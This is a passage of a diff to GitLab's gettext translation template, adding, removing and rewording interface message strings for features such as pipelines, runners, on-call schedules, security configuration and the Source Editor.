@@ -23986,7 +24367,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24070,6 +24451,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24160,19 +24547,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24193,6 +24580,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24232,6 +24625,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24253,6 +24649,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24271,7 +24670,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24511,6 +24910,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24868,6 +25270,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24964,9 +25369,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25219,6 +25621,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25534,9 +25942,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25666,6 +26071,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25681,9 +26089,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25774,10 +26179,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25918,6 +26323,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25945,9 +26353,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26188,7 +26593,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26470,7 +26875,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26491,13 +26896,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26539,13 +26944,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26875,9 +27283,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26956,6 +27361,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27223,12 +27631,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27298,6 +27712,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27322,6 +27739,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27343,6 +27763,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27547,6 +27973,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27754,6 +28183,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27772,9 +28204,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28135,6 +28573,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28297,6 +28738,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28411,6 +28855,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28513,9 +28963,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28684,6 +29131,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28711,6 +29161,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28720,6 +29173,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28837,15 +29296,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28861,6 +29320,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28930,6 +29392,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28954,6 +29419,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29137,6 +29605,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29158,6 +29629,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29176,6 +29650,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29254,7 +29731,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29269,6 +29746,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29290,6 +29773,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29329,6 +29815,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29398,6 +29887,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29716,6 +30208,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29770,6 +30265,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29782,6 +30280,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29803,6 +30304,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29815,12 +30319,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29854,6 +30364,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29863,6 +30376,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29893,12 +30409,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29956,19 +30478,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30049,21 +30577,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30451,6 +30964,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30475,6 +30991,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30523,7 +31042,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30538,7 +31057,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30550,7 +31069,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30610,6 +31129,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30619,6 +31141,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30643,6 +31168,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30712,7 +31243,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30721,6 +31255,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30742,6 +31279,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30961,7 +31504,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30994,6 +31537,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31132,6 +31678,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31336,9 +31885,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31438,7 +31984,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31450,6 +32005,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31495,6 +32053,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31576,6 +32137,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31633,9 +32197,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31711,9 +32272,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31780,6 +32338,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31795,6 +32374,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31843,18 +32425,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32221,6 +32794,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32305,9 +32884,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32584,9 +33160,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32605,6 +33178,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32758,9 +33358,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32905,6 +33502,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32926,7 +33526,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32935,6 +33535,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32956,6 +33559,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32971,6 +33580,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33958,10 +34570,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34219,7 +34831,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34255,7 +34867,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34462,9 +35077,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34597,9 +35209,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
